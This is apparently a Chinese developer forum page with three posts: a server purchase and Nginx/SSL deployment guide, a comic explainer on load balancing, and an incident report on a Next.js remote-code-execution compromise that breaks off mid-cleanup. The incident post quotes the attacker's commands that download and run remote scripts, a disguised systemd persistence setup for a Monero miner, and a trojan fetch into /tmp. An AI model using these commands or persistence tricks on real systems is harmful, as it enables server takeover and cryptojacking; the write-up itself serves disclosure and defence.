编程导航服务器话题讨论

服务器

32 参与
分享

快来分享你的内容吧~

点击登录,快来和大家讨论吧~
表情
图片
话题
打卡
综合
交流
文章
问答

服务器购买 网站部署 SSL证书

记录一下上线服务器的过程,可以给第一次接触过的学友们一些参考。 ## 一、购买服务器 像阿里云、华为云、腾讯云,都有**100/年**以内的**2核2G**的服务器,作为个人学习,给面试官浏览,都足够了。 个人也推荐整一台服务器自己玩,在上面学习linux命令、装点稀奇古怪的东西都是可以的,重置系统也很方便,所以不用担心会玩坏服务器。 各个云服务商是差不多的,这边我用腾讯云举例。 登录腾讯云后,找到轻量云服务器,可以看到这个配置的服务器 **购买和续费**都是79/年,几顿饭钱的事,买! ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/qbbhO5CHcqZQfVFq.webp) 有境外需求的(代理服务器等),可以买这个(续费不同价)。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/kqkt5x5gzVpjdNK4.webp) 直接购买就行了,这里我买的是境外的,国内的步骤也一样。 都买服务器了,还是推荐linux,性能和方便程度都大于windows。而且windows各位应该都精通了。 这个宝塔面板是基于OpenCloudOS 9操作系统,腾讯云自己做了一个带一些功能的镜像。这个可选可不选,后边可以随便换其他的镜像。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/LMPf3Gj3sXDXfCtT.webp) 下一步 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/yUkuhQOisu4JPPqx.webp) 付款完后就算购买完成了、点查看实例。(可以自己看看实例有哪些信息) ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/TYr0bIxPijaIBVbT.webp) ## 二、使用服务器 ### 1. 重装系统 购买完之后,点击实例,可以看见服务器的详情。 往下翻,可以看到重装系统,这个可以无限重装,我这边换个干净一点的系统。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/mXdAWYFlGbSETaRx.webp) 我这边选择ubuntu24.04版本,输完密码后点确认。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/WOu4JEUzajZP5gYW.webp) ### 2. xshell 连接服务器 官网下载免费版本xshell,安装。 https://www.xshell.com/zh/free-for-home-school/ 新建会话 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/FlBHTLbyKQdcsOqK.webp) 输入服务器IP ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/lWfSGS6qYUhUwuRt.webp) 输入登录用户和密码、点连接 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/kJAommCNWAuvy1Sy.webp) 保存密码 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/sHqKwF5J5tPXNFjN.webp) 成功连接 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/3VbgsSt9Wa3YF8mJ.webp) 之后可以通过xshell操作服务器了。 腾讯云也有类似操作服务器的方式,但是腾讯云需要先登录,才能操作,xshell可以直接连。 ## 三、部署服务器 ### 1. 宝塔 部署网站 #### 安装宝塔 https://www.bt.cn/new/download.html 直接复制**对应系统**的安装命令,到xshell中执行。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/6GDe9VXX6hPUIJ78.webp) 下一步 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/njTN25vzzZZH5UoJ.png) 安装完成后,会显示访问宝塔面板的地址和用户密码 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/yRnihACGKzI5OErs.png) 不小心忘了也没事,输入`sudo bt`,再输入`14`,就能看见了。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/nyqqNcn66hYMhy8P.webp) #### 登录宝塔 访问宝塔面板的外网面板,我这边访问失败了,因为访问的是12020端口,云服务商这边的端口防火墙没有打开。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/wWHdj66eQrs1FGjj.webp) 这边防火墙开放的端口有这些 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/WthmKgMquyM1HZce.webp) 可以选择在这里放行12020端口,也可以更改宝塔的面板端口,这里我把bt的端口改成8888了。修改命令是 ``` sudo bt 8 8888 ``` ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/oW7ay4tOYv9p3iWz.webp) 再次访问面板8888端口 安全模式会变更访问地址,普通模式不会变更。选哪个都无所谓 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/MSMgIedbb54YcD1Q.webp) 进去选LNMP 一键安装 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/pxafLzLIgEcml7Vl.webp) 安装完成 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/1NmNENfq8nUsWwJg.webp) #### 创建站点 点击添加站点 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/IK3Uv4gnl2vLimcf.webp) 输入完域名、点击确定 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/GYBJXLceOPCyVLTZ.webp) 点击设置 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/dMTh80wLKm6LlBbG.webp) 点击网址 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/SwlfcLHK01hp6rJ4.webp) 简单的网点就创好了 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/X4WN4yuBkUSX4EdM.webp) 在网站根目录 上传自己打包后的前端文件 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/gHXeyJfuAc1zx4te.webp) ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/7qbaj69VZRIrzN62.webp) 再刷新刚刚的网址,可以看到网址能正常跑了 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/iTDxANMC2keUvBQD.webp) #### 域名 去腾讯云官网 输入想要的域名,和后缀(字数越多、越冷门越便宜)。一般来说,10多块钱就能拿到自己名字相关的域名。长期使用的话,建议买.cn后缀的,续费便宜。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/drebP81gqt1AyeDQ.webp) 购买和备案一套流程有点繁琐,这边就不演示了。 备案结束后,域名解析一下服务器的ip,这样所有写ip的地方都可以替换为域名。比如上面写的网站地址可以改成域名。 ## 四、SSL证书 目前的网站是http协议的,在某些网络下会被认定为不安全导致无法访问。另外,https网站在SEO搜索引擎的权重更高。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/BRkhUHkopeo5gOkH.webp) 想要换成更安全的https协议,需要**SSL证书**才行。因为SSL证书是针对**域名**的,所以域名也要有。我这里用阿里云申请发的域名(腾讯云更方便)。 #### 申请SSL证书 腾讯云搜索SSL,进入SSL证书页面,点击申请免费证书。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/66rnqIhMQ9PqYzJg.webp) ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/ODAjp1b8cvTc7LJh.webp) 输入对应域名后,直接点确认 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/ESSaP9K8rCzJGTHk.webp) 去购买域名的服务商那里,域名解析处添加一条解析 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/Ey7WnrnR5Gx7SchR.webp) 我这边用的阿里云域名,红框中是重点 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/IVzAoQfLzvWkCMZr.webp) 解析完成后,回到腾讯云,点击验证,会显示成功。这里可以点击自动续费证书,如果域名是腾讯云的,会完全自己续期。非腾讯云域名,需要手动填解析值。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/mE7xhfKY3T57OUGF.webp) #### 下载证书 证书需要上传到服务器文件,先下载,这里选择nginx,因为刚刚部署方式就是nginx ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/ACMsNQhBqddAxHhP.webp) ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/EvFn0RnGa3rv4Igz.webp) 下载完解压,得到pem和key文件 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/Qv3WG3r2BShHAmNv.png) #### 上传证书 点开宝塔站点,将pem和key文件中的内容完整的copy进去。点保存。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/oB9x4EwveDyaoDHf.webp) 现在这个SSL证书已经绑定了这个域名,现在来测试一下域名访问。 #### 使用SSL证书 **域名要先绑定IP!!** 想要输入域名访问服务器,首先要让域名和服务器IP绑定,也就是域名解析。 阿里云域名为例 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/nZrwWnKGnyDOh8kI.webp) 在上传完后,宝塔其实已经帮我们配置好了SSL证书。 我们只要在站点中添加刚刚设置的域名 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/rraJxMehMwKdXHX9.webp) 现在访问以下两个网址,都是能够访问当前站点的。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/bx6nFwJxUnaXxnBy.webp) 在**无网络限制的环境**下,没有SSL证书,不管是IP或者是域名都是可以直接访问的。 在**有网络的限制**下,比如公司环境,IP就不能直接访问。 ![image.png](https://pic.code-nav.cn/post_picture/1622413154447278081/VM7aMXP68V6m9oyA.webp)

什么是负载均衡?不就是加台服务器嘛!

你是小阿巴,刚刚开发上线了自己的第一个网站。 前几天只有几个人访问,网站运行得稳稳当当。 你得意地想:做网站也太简单了吧! ![](https://pic.code-nav.cn/post_picture/1601072287388278786/4ufxmqQnbE5IpLAX.webp) 结果一周后,某知名博主 “鱼蛋” 不小心推广了 [你的网站](https://www.codefather.cn),突然来了 1 万个用户同时访问,直接把你的网站服务器冲爆了! ![](https://pic.code-nav.cn/post_picture/1601072287388278786/bUrL6dC18j3ZXeXP.webp) 你急得满头大汗,赶紧向号称 “后端之狗” 的鱼皮求救。 你:鱼皮 gie gie 救命啊! 鱼皮了解情况后,淡定地说:加服务器。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/H0sExZBkjaTbNbfF.webp) 你恍然大悟:对哦,我买 3 台服务器,就有 3 个不同的 IP 地址了。只要让用户自己选择访问哪一台,就能分摊流量压力啦! ![](https://pic.code-nav.cn/post_picture/1601072287388278786/tpyFgs4zaSG9n17s.webp) 鱼皮笑了:但如果用户并不知道这些 IP 地址呢? ![](https://pic.code-nav.cn/post_picture/1601072287388278786/xgVoKzNLIFJZYgYk.webp) 你挠了挠头:对啊,这可咋办! 鱼皮:这就要请出我的朋友 LB 了。 你一脸疑惑:LB 是啥?老板?链表?老鸨? ![](https://pic.code-nav.cn/post_picture/1601072287388278786/kOd39esB6psjdt6o.jpg) ⭐️ 推荐观看视频版,有动画更容易理解:https://bilibili.com/video/BV1e92eBTEkL ### 第一阶段:认识负载均衡 鱼皮:LB 是指 **负载均衡**(Load Balancer),它就像一个 “交通指挥中心”。车辆来了,不是自己随便选道路,而是由指挥中心统一调度走哪条路线,避免某条路堵死、其他路却空着。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/Mb7CBgbhwe4ltXRV.webp) 对于你的问题,你需要一台 **反向代理服务器**(负载均衡器),对外提供唯一的访问入口,统一接收所有用户的请求;再根据一定的规则,把请求分配给后端的多台服务器来实际处理,这样每台服务器的压力就小很多了。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/AuBKpT0CQ3YUvsHG.webp) 你眼前一亮:原来如此,通过负载均衡,用户只需要访问同一个域名,完全不用关心我的网站背后有几台服务器,我可以使劲加服务器来提高网站的并发量。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/rxu31yyW1Ric84Q0.webp) 鱼皮:不错,而且负载均衡器会实时监测后端服务器的健康状态。如果发现某台服务器挂了,就不再把流量分给它,自动切换到其他健康的服务器,保证用户访问不受影响。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/MbRDlwFkYNiWheTJ.webp) 此外,负载均衡器在实际使用中,还常常承担一些额外的职责。比如 **SSL 卸载**,让负载均衡器统一处理 HTTPS 的加密解密,后端服务器就不用每台都配置证书了,省事儿又减压。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/2wACdUk4SQIpFJ1l.webp) ### 第二阶段:怎么实现负载均衡? 你很是激动:哇,听起来很厉害啊!那我用什么来做负载均衡呢? 鱼皮:像 Nginx、HAProxy 等高性能网关软件都支持负载均衡功能。比如使用 Nginx,只需要写下这样一段配置: ```nginx upstream backend { server 192.168.1.10; server 192.168.1.11; server 192.168.1.12; } location / { proxy_pass http://backend; } ``` 由 3 台服务器组成了一个集群,Nginx 会自动把收到的请求分配给它们。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/sjDaVtOvBJl2ldq5.webp) 你开心了:这么简单,爽爽爽!我这就去实现~ 于是你成功配置好了 Nginx 负载均衡,这下网站不崩了,用户访问也更顺畅了。 你得意地想:负载均衡不过如此,傻子都能学会哈哈哈哈哈哈! ![](https://pic.code-nav.cn/post_picture/1601072287388278786/jLVnjCmyDnGvNi5v.webp) ### 第三阶段:负载均衡也扛不住了咋办? 一个月后,你的网站又不小心被一个更知名的博主 “驴皮” 分享了,瞬时用户量暴增到几十万,竟然把你部署 Nginx 的服务器都给冲爆了! ![](https://pic.code-nav.cn/post_picture/1601072287388278786/3jRMlGxcFT7UcYVW.webp) 你慌了:呜啊,这破 Nginx 接不住这破天的富贵,怎么办啊! 难道再加一个 Nginx 来给 Nginx 做负载均衡?但这不是套娃吗?照样扛不住啊! ![](https://pic.code-nav.cn/post_picture/1601072287388278786/JSPxwxyWgz7rR81W.webp) 鱼皮:别慌!负载均衡不是只有一种,根据网络层次可以分很多类。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/a2crFekWcaTM4Mpc.webp) 刚才你用的 Nginx,其实是 **七层负载均衡**。它工作在应用层,可以根据 HTTP 请求的内容(比如 URL 路径、Cookie、请求头等)进行转发。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/nPFb38slLwfQszub.webp) 它的优点是最灵活、成本最低,大多数中小型网站用它就够了;但是一般单机只能支撑几万到十几万并发。 如果想更进一步增加并发,可以用 **四层负载均衡**。它工作在传输层,只根据 IP 地址和端口号进行转发,不关心 HTTP 请求的具体内容。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/wQCAcphQeKrFbEUc.webp) 正因如此,它的性能很高,能支撑几十万甚至上百万并发。 常用的实现方案是 LVS (Linux Virtual Server,Linux 虚拟服务器),它通过修改网络数据包的地址信息(IP 或 MAC),把请求转发到不同的服务器,速度极快。适用于某宝、某东这种级别的大型网站。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/flI82Mtqso9jH1it.webp) 你:那有没有更厉害的?我担心自己的网站一不小心成为国民级应用。 鱼皮:当然!**还有二层和三层负载均衡**。或者利用专业的硬件设备做负载均衡,比如性能极高的 F5,但价格也极高,入门级的设备都要十几万。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/or1oBlhhkrYKcGgc.webp) 你大为震惊:哎呀,这我可买不起了呀…… 鱼皮:快醒醒吧,这种硬件负载均衡主要用于金融、电信等大型企业,咱们一般用不到。 你突然想到:对了,我听说有些大公司会用 DNS 来做负载均衡,这算是哪一层呢? 鱼皮:问得好,**DNS 负载均衡** 比较特殊。它严格来说属于应用层,但工作原理和前面讲的都不太一样。 传统负载均衡是用户请求已经到达服务器后再分配,而 DNS 负载均衡是在用户浏览器查询域名对应的 IP 地址时,DNS 服务器就根据策略(如地域、负载)返回不同的服务器 IP,从而实现流量分配。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/Y5w2YiXZHmEuWDSP.webp) 它的优点是实现简单、成本低,适合做全球流量分配,比如国内用户访问国内服务器,海外用户访问海外服务器。 缺点是不够灵活,而且 DNS 有缓存,改了配置不能立即生效。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/5eSG8iUKUplkbODc.webp) ### 第四阶段:负载均衡算法 你点点头:那我还是老老实实用七层和四层负载均衡吧。对了,负载均衡器怎么知道把请求分给哪台服务器呢? 鱼皮:这就要靠 **负载均衡算法** 了,算法分两大类 —— 静态算法和动态算法。 静态算法就是按照固定的规则分配。 1)首先是最简单的轮询算法(Round Robin)。就像发扑克牌一样,一张一张轮着来(第一个请求给服务器 A,第二个给服务器 B,第三个给服务器 C,然后又回到服务器 A),发完一轮再来一轮。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/CI6rKLG15O6roNvj.webp) 看起来很公平,但如果服务器性能不一样,有的很闲、有的很忙,怎么办? 2)加权轮询(Weighted Round Robin) 就能解决这个问题,你可以给性能高的服务器设置更高的权重,让它处理更多请求。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/gK6gfIBAMCoQ738r.webp) 你:等等,如果用户第一次请求分配到服务器 A 并保存了登录态,第二次请求分配到服务器 B,登录态不就丢失了么? ![](https://pic.code-nav.cn/post_picture/1601072287388278786/sD1xjQCoqhf1JebU.webp) 鱼皮:没错,能想到这点的你非常棒! 3)我们可以用 IP 哈希(Hash)算法来解决这个问题。根据用户的 IP 地址计算一个哈希值,然后分配到对应的服务器。这样同一个用户的请求总是会分配到同一台服务器,登录态就不会丢了。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/lQR92GwcJsSfBKN0.webp) 不过 IP Hash 也有缺点,如果很多用户来自同一个大局域网,可能会导致流量分配不均哦,所以现在主流还是用 Redis 做共享 Session。这也是面试时的一个考点(Session 一致性问题的解决方案)。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/HgTCfLGY4KgJkvqi.webp) 鱼皮:动态算法更灵活,会根据服务器的实时状态来分配请求。 1)最少连接(Least Connections):哪台服务器当前连接数最少、最闲,就优先把请求分给谁。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/Ejed1z7nbG3pY8Fd.webp) 2)最快响应(Least Response Time):哪台服务器的响应速度最快、干活最麻利,就优先把请求分给谁。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/ps9rSEmPEsypAzKh.webp) 小阿巴:这么多算法,记不住啊!哪个最常用啊? 鱼皮笑道:算法千千万,轮询占一半。实际工作中,大部分场景用轮询或加权轮询就够了。 ### 第五阶段:其他重要知识点 你:那负载均衡器怎么知道后端服务器是否健康呢? 鱼皮:这就是 **健康检查** 机制。负载均衡器会定期(比如每隔几秒)向后端服务器发送心跳请求,检查服务器是否正常响应。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/XJFEcR1O0LIRjV8J.webp) 如果连续多次失败,就认为这台服务器挂了,自动把它从服务器列表中剔除。等服务器恢复后,再自动添加回来。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/ORX286aGGdsq675K.webp) 你:哇,就像医院里的护士定时查房一样,太贴心了吧! 等等,负载均衡器能监测后端服务器、替它们分摊压力,但是万一负载均衡器自己挂了怎么办? 鱼皮:问得好,这就是负载均衡的 **高可用** 问题。 解决办法是部署多个负载均衡器,采用主从模式。主负载均衡器正常工作,从负载均衡器随时待命。它们之间会互相发送心跳包,并共享一个虚拟 IP 地址(VIP)。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/yuXa6OIRPVUjgvaR.webp) 一旦从节点发现主节点没有回应了,就接管这个虚拟 IP,用户访问的还是同一个 IP 地址,所以毫无感知。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/cDTNepUeF2cNfBTH.webp) ### 结尾 你感慨道:哇,原来负载均衡有这么多学问!作用、分类、算法,学到了学到了~ 那…… 我现在算是负载均衡专家了吧?! 鱼皮从裤兜里掏出两个硬币砸到你的头上:想啥呢?!你现在只是了解了负载均衡的思想,但是实际开发中还有很多玩法。对了,我之前在 [编程导航](https://codefather.cn/) 分享过一个 Nginx 学习路线,建议你系统学习一下。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/PZc2d6pZiJVq9GFt.webp) 你虚心地点点头:好的,狗鱼皮! ![](https://pic.code-nav.cn/post_picture/1601072287388278786/htLnQlGAanMMub5k.webp) ## 更多 💻 编程学习交流:[编程导航](https://www.codefather.cn/) 📃 简历快速制作:[老鱼简历](https://www.laoyujianli.com) ✏️ 面试刷题神器:[面试鸭](https://www.mianshiya.com) 📖 AI 学习指南:[AI 知识库](https://ai.codefather.cn/)

紧急!Next.js高危漏洞致服务器被黑,我已经中招了!附解决方案

刚刚,我的服务器因为一个高危漏洞被入侵了,沦为了矿机!把我的经历分享出来,希望更多程序员朋友们不要中招,抓紧预防处理。 ## 事故现场 2025 年 12 月 5 日下午,腾讯云给我发来一条安全告警通知,说我的业务存在 React/Next.js 远程代码执行(CVE-2025-55182/CVE-2025-66478)高危安全风险。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/lZpNZbuDKKcRV6DA.webp) 然后在当晚,腾讯云就给我发了第二条通知,说是我的服务器上检测到存在恶意文件,显然是一个挖矿程序。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/IYcPqB1PSAkRhIce.webp) 但很遗憾的是,昨天我正在老家处理事情,没来得及看到这些通知,而且可气的是,攻击者专挑周五下班时间作案,所以我团队同学也没注意。 等到今天早上一睁眼,发现站内信全是告警,攻击者在早上 6 点和 9 点又进行了几次行动。这时我们团队群里也已经炸锅了,大家就一起排查处理。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/x2vkWKlSQVTDUBIk.webp) 首先我查看了前端项目的依赖管理文件 `package.json`: ```json { "dependencies": { "next": "15.3.3" } } ``` 发现我编程导航训练营项目使用的 Next.js 版本(15.3.3)正好在漏洞影响范围内! ![](https://pic.code-nav.cn/post_picture/1601072287388278786/ucPtkAHl43NpFmRT.webp) 然后我查看了应用日志 `camp_codefather_cn.log`,发现了很多线索,并配合腾讯云主机安全提供的告警分析,还原了攻击者的完整作案过程。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/AMwBiRsxugyXIZr0.webp) 时间线如下: ``` 📅 2025-12-05 19:59:42 【第一波攻击】下载恶意脚本 📅 2025-12-05 20:04:00 【第二波攻击】部署挖矿程序 📅 2025-12-06 06:13:43 【第三波攻击】植入 DDoS 木马 📅 2025-12-06 09:29:33 【第四波攻击】运行内存木马 📅 2025-12-06 09:42:00 【持续攻击】尝试建立后门 ``` #### 1、下载恶意脚本,部署挖矿程序 首先晚上 7 点 59 分,攻击者利用 Next.js RSC 漏洞,通过发送特制的 HTTP POST 请求,执行命令下载了恶意脚本 `sex.sh`: ```bash wget http://vps-zap812595-1.zap-srv.com:3000/sex.sh -O sex.sh chmod +x sex.sh ./sex.sh ``` 日志记录: ```log --2025-12-05 19:59:42-- http://vps-zap812595-1.zap-srv.com:3000/sex.sh Resolving vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)... 45.146.252.37 Connecting to vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)|45.146.252.37|:3000... connected. HTTP request sent, awaiting response... 200 OK Length: 1619 (1.6K) [text/x-sh] Saving to: 'sex.sh' 2025-12-05 19:59:42 (148 MB/s) - 'sex.sh' saved [1619/1619] ``` 从这里能看出来,这个时候攻击者已经可以通过 Next.js 的漏洞为所欲为了! 我下载了这个 `sex.sh` 脚本文件,带大家 “鉴赏一下”。 首先攻击者配置了挖矿参数,连接到攻击者的矿池、使用攻击者的门罗币钱包,并伪装成系统更新服务。 ```bash ARGS="--url pool.hashvault.pro:443 --user 89ASvi6ZBHXE6y...(攻击者的钱包地址)" SERVICE_NAME="system-update-service" # ⚠️ 伪装成系统服务 ``` 然后伪装成浏览器请求,从 GitHub 下载合法的 XMRig 挖矿软件 ```bash curl -L -o kal.tar.gz \ --user-agent "Mozilla/5.0..." \ # ⚠️ 伪装成浏览器 https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz tar xvzf kal.tar.gz ``` 接下来创建系统服务,设置开机自启、进程崩溃后自动重启。也就是说,**即使重启服务器,木马依然运行**! ```bash # 创建 systemd 服务 cat > /etc/systemd/system/system-update-service.service <<EOF [Service] ExecStart=/path/to/xmrig --url pool.hashvault.pro:443 ... Restart=always # ⚠️ 崩溃后自动重启 [Install] WantedBy=multi-user.target # ⚠️ 开机自启 EOF systemctl enable system-update-service systemctl start system-update-service ``` 如果没有 root 权限,会在后台运行挖矿程序,并重定向输出到 `/dev/null`,不留日志。 ```bash nohup /path/to/xmrig $ARGS >/dev/null 2>&1 & ``` 完整代码我分享到 [代码小抄](https://www.codecopy.cn/post/mr29su) 了,感兴趣的同学可以阅读。 ![image.png](https://pic.code-nav.cn/post_picture/1601072287388278786/etMTN4hAdPRARfxu.webp) 我都忍不住赞美攻击者了,这个程序写得真不错,短小凝练,不仅有隐蔽和伪装、还考虑到了持久化和降级。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/xzvpVcfIaOeDr9J4.jpg) 这段代码执行完,我的服务器就已经脏了,挖矿程序开始在后台运行,持续消耗我的服务器资源为攻击者挖取门罗币。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/8mLv5wKx5shFukdm.webp) #### 2、植入 DDoS 木马 然后是第二天早上 6 点多,攻击者不讲武德,给我的服务器植入了第二个恶意程序。 先看看日志记录: ```log --2025-12-06 06:13:43-- http://res.qiqigece.top/nginx2 Resolving res.qiqigece.top (res.qiqigece.top)... 154.38.121.219 Connecting to res.qiqigece.top (res.qiqigece.top)|154.38.121.219|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1371145 (1.3M) [application/octet-stream] Saving to: '/tmp/nginx3' 2025-12-06 06:13:43 (6.32 MB/s) - '/tmp/nginx3' saved [1371145/1371145] ``` 攻击者通过 wget 下载了一个特制的 Nginx 网站服务器文件,还特意选择了权限宽松的 `/tmp` 目录。 ```bash wget -O /tmp/nginx3 http://res.qiqigece.top/nginx2 chmod 777 /tmp/nginx3 /tmp/nginx3 ``` 根据安全报告,这是一个 DDoS 攻击木马类的恶意程序,可以把我的服务器变成太美的 “肉鸡”,参与对其他服务器的 DDoS 攻击。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/U51gsKRqaqyS08Cp.webp) 不仅会消耗服务器的带宽,还可能导致我的服务器 IP 被封;更严重的是,我有可能直接就参与网络攻击了?! 这难道就是传说中的人在家中坐,锅从天上来? ![](https://pic.code-nav.cn/post_picture/1601072287388278786/LfAfTIba5KP77LJp.webp) 6 点我特么还在床上躺着流口水做梦呢,攻击者努力得让人心疼啊! #### 3、植入内存木马 到了早上 9 点 29 分,攻击者又发力了 ,又给我的服务器植入了一个木马类的恶意程序 `/dev/shm/java`: ![](https://pic.code-nav.cn/post_picture/1601072287388278786/HCkQ2tavAnocfkdK.webp) 不过有点儿奇怪的是,这次的文件竟然已经被删除掉了? 我才不相信攻击者良心发现呢,我通过下列命令看了下进程: ```bash ls -l /proc/*/exe | grep deleted ``` **发现竟然有 4 个木马进程同时运行!** ``` lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659874/exe -> /dev/shm/java (deleted) lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659875/exe -> /dev/shm/java (deleted) lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659876/exe -> /dev/shm/java (deleted) lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659877/exe -> /dev/shm/java (deleted) ``` 狠啊,真狠啊,1 个进程还不够是吧? 我猜 “删除文件” 是攻击者为了 **防止取证**,让文件运行在 Linux 的共享内存文件系统 `/dev/shm` 中,并且故意把文件删除掉,让 `ls`、`find` 等命令找不到它,但其实进程仍然在继续运行,增加了取证排查的难度。 #### 4、持续探测 上午 9 点 42 分,攻击者又来了,这次是从一个波兰的 IP 地址下载了一个程序,并赋予极高的访问权限,然后还想远程下载并执行另外一个远程脚本。 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/VFwpa6Vbthys5FqI.webp) 很可惜我的服务器并没有 busybox(嵌入式 Linux 常用的工具集),所以这次攻击被阻止了: ```log /bin/sh: line 1: busybox: command not found chmod: cannot access 'x86': No such file or directory /bin/sh: line 1: ./x86: No such file or directory ``` 但这也说明攻击者在 **持续尝试** 建立多重后门。真是丧尽天良,丧心病狂啊! ## 漏洞简介 分享到这里,想必大家已经感受到这次漏洞的危害了吧。 主要是 2 个远程代码执行漏洞: - CVE-2025-55182:React Server Components 远程代码执行漏洞 - CVE-2025-66478:Next.js App Router 远程代码执行漏洞 据官方描述,在 React 的服务器组件库中,由于 React 在解码发送至服务器函数端点的请求负载时存在安全缺陷,导致未经身份验证的远程攻击者可以通过 **向任何服务器函数端点发送特制的恶意 HTTP 请求**,当该请求被 React 反序列化处理时,即可 **在服务器上实现远程代码执行,从而完全控制服务器。** 这次漏洞的影响范围很大,包括使用了 React 服务器组件的应用、使用了不安全版本的 Next.js 应用等等。注意,不仅仅是你自己开发的应用,如果你服务器上安装了其他符合这些特征的应用,一样会中招!**攻击者是可以通过程序批量扫描这些应用的,发现一个攻击一个。** 你看漏洞是前两天刚刚披露的,我这就中招了。我们团队的小伙伴自己的服务器也中招了,他通过一个 [开源项目](https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478) 成功复现了攻击,只需要一个请求就能打开服务器上的计算器程序、给服务器写入任何文件。 > 开源的扫描工具:https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478 ![](https://pic.code-nav.cn/post_picture/1601072287388278786/Tt6XG9tnCEg0E5VY.webp) 好家伙,几乎没有任何成本,就能为所欲为,植入后门、生产垃圾、拿来挖矿、盗取信息! **而且很多朋友可能没有及时发现、或者不知道怎么处理,就会一直被攻击者当成矿工来利用。** ## 如何处理? 如果条件允许的话,建议是立刻隔离服务器,防止被攻击者拿来利用、植入更多恶意程序、或者获取更多信息。 然后通过编写 Linux 脚本来清理恶意文件: > 注意,以下脚本仅供参考,实际以操作系统和攻击情况为主,用 AI 生成即可 ```bash # 删除整个挖矿目录 rm -rf /www/wwwroot/xxx/xmrig-6.24.0/ rm -f /www/wwwroot/xxx/sex.sh rm -f /www/wwwroot/xxx/kal.tar.gz # 删除 /tmp 下的恶意文件 rm -f /tmp/nginx3 rm -f /tmp/x86 ``` 光删除文件还不够,还要查找并终止所有恶意进程: ```bash # 查找 xmrig 